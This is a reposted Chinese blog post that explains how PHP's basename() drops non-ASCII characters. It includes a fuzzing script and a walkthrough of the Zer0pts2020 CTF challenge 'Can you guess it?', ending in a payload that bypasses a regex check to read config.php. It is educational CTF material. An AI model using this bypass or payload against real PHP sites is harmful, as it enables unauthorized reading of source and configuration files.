zoukankan      html  css  js  c++  java
  • basename()绕过小结

    basename()

    定义和用法

    basename() 函数返回路径中的文件名部分。

    语法

    basename(path,suffix)

    参数 描述
    path 必需。规定要检查的路径。
    suffix 可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名。

    例子

    <?php
    $path = "/testweb/home.php";
    
    //显示带有文件扩展名的文件名
    echo basename($path);
    
    //显示不带有文件扩展名的文件名
    echo basename($path,".php");
    ?> 
    

    输出:

    home.php
    home
    

    绕过原理

    basename绕过最早出自于basename broken with non-ASCII-chars报告,大致意思是:

    With the default locale setting "C", basename() drops non-ASCII-chars at the beginning of a filename.
    在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符。

    测试代码:

    <?php
    $file = $_GET['file'];
    echo basename($file);
    

    返回结果:

    http://localhost/?file=%ffindex.php/%ff
    //index.php
    http://localhost/?file=%ffindex.php
    //index.php
    http://localhost/?file=index.php%ff
    //index.php
    http://localhost/?file=index.php/%2b
    //+
    

    利用这个特性我们可以编写脚本fuzz出会被basename忽略的字符,先测试一下URL编码:

    <?php
    highlight_file(__FILE__);
    $filename = 'index.php';
    for($i=0; $i<255; $i++){
        $filename = $filename.'/'.chr($i);
        if(basename($filename) === "index.php"){
            echo $i.'<br>';
        }
        $filename = 'index.php';
    }
    

    返回结果:

    ascii值为47、128-255的字符均可以绕过basename()
    其中47对应的符号为'/',在实际场景中没有利用价值
    那么也就是说我们可以利用一部分不可见字符来绕过basename()
    同时,在测试中也可以发现中文字符也是可以绕过basename()
    例如汉字、?、《、》、;等中文字符

    例题

    [Zer0pts2020]Can you guess it?

    <?php
    include 'config.php'; // FLAG is defined in config.php
    
    if (preg_match('/config.php/*$/i', $_SERVER['PHP_SELF'])) {
        exit("I don't know what you are thinking, but I won't let you read it :)");
    }
    
    if (isset($_GET['source'])) {
        highlight_file(basename($_SERVER['PHP_SELF']));
        exit();
    }
    
    $secret = bin2hex(random_bytes(64));
    if (isset($_POST['guess'])) {
        $guess = (string) $_POST['guess'];
        if (hash_equals($secret, $guess)) {
            $message = 'Congratulations! The flag is: ' . FLAG;
        } else {
            $message = 'Wrong.';
        }
    }
    ?>
    <!doctype html>
    <html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Can you guess it?</title>
    </head>
    <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
    <?php if (isset($message)) { ?>
        <p><?= $message ?></p>
    <?php } ?>
    <form action="index.php" method="POST">
        <input type="text" name="guess">
        <input type="submit">
    </form>
    </body>
    </html>
    

    重点关注:

    if (preg_match('/config.php/*$/i', $_SERVER['PHP_SELF'])) {
        exit("I don't know what you are thinking, but I won't let you read it :)");
    }
    
    if (isset($_GET['source'])) {
        highlight_file(basename($_SERVER['PHP_SELF']));
        exit();
    }
    

    preg_match('/config.php/*$/i', $_SERVER['PHP_SELF']) 这个正则匹配了 config.php/ 为 $_SERVER['PHP_SELF'] 的结尾,我们可以在config.php/后面加上不可见字符污染来绕过正则匹配
    题目的考点在于highlight_file(basename($_SERVER['PHP_SELF']));
    这里存在一个任意文件读取的漏洞,但是前提是需要source值存在,这里的技巧在于:当我们传入index.php/config.php时,仍然请求的是index.php,但是当basename()处理后,highlight_file()得到的参数就变成了config.php,从而我们就实现了任意文件包含。结合上面的特性,我们可以构造出payload:
    /index.php/config.php/啊?source

    在鹤城杯2021 EasyP题目中也是同样的方法,只不过传递的参数变成了show_source,用.或者[就可以将参数传过去,老Trick就不过多赘述了

    [ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

  • 相关阅读:
    安卓开发环境的演变
    对软件工程实践课程的预定目标
    Angular4.0踩坑之路:探索子路由和懒加载
    Angular4.0踩坑之路:如何成功读取本地json文件
    Angular踩坑之路:在Angular中监听键盘事件
    Angular踩坑之路:初探Angular过程中的一些总结与记录
    Angular踩坑之路:初探webpack
    Angular踩坑之路:设置开发环境
    (Nodejs)安装教程、切换全局模块安装路径、切换npm下载源
    (ES、ik分词器)ES的分词器插件elasticsearch-analysis-ik
  • 原文地址:https://www.cnblogs.com/yesec/p/15429527.html
Copyright © 2011-2022 走看看